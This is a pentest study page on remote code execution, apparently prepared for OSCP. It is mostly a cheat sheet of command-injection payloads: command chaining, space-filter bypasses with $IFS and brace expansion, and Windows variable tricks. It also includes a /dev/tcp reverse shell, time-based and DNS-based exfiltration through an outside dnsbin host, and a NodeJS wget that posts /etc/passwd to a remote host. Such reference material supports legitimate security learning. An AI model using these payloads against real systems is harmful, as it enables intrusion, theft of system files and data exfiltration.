> For the complete documentation index, see [llms.txt](https://rabakuku.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rabakuku.gitbook.io/oscp/services/web/remote-code-execution-rce.md).

# Remote Code Execution (RCE)

### Remote Code Execution

Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.

### Exploits

Normal code execution, execute the command and voila :p

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```

Code execution by chaining commands

```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server `ls`
```

Code execution without space - Linux

```
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
```

Code execution without space - Windows

```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

Code execution without spaces, $ or { } - Linux (Bash only)

```
IFS=,;`cat<<<uname,-a`
```

### Time based data exfiltration

Extracting data : char by char

```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real	0m5.007s
user	0m0.000s
sys	0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real	0m0.002s
user	0m0.000s
sys	0m0.000s
```

### DNS based data exfiltration

Based on the tool from <https://github.com/HoLyVieR/dnsbin> also hosted at dnsbin.zhack.ca

```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

### Environment based

NodeJS Code execution

```
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
```

### Simple PHP RCE FILE

```
https://github.com/kmohamed2020/Simple-PHP-RCE/blob/master/simple_php_rce.php
```


---

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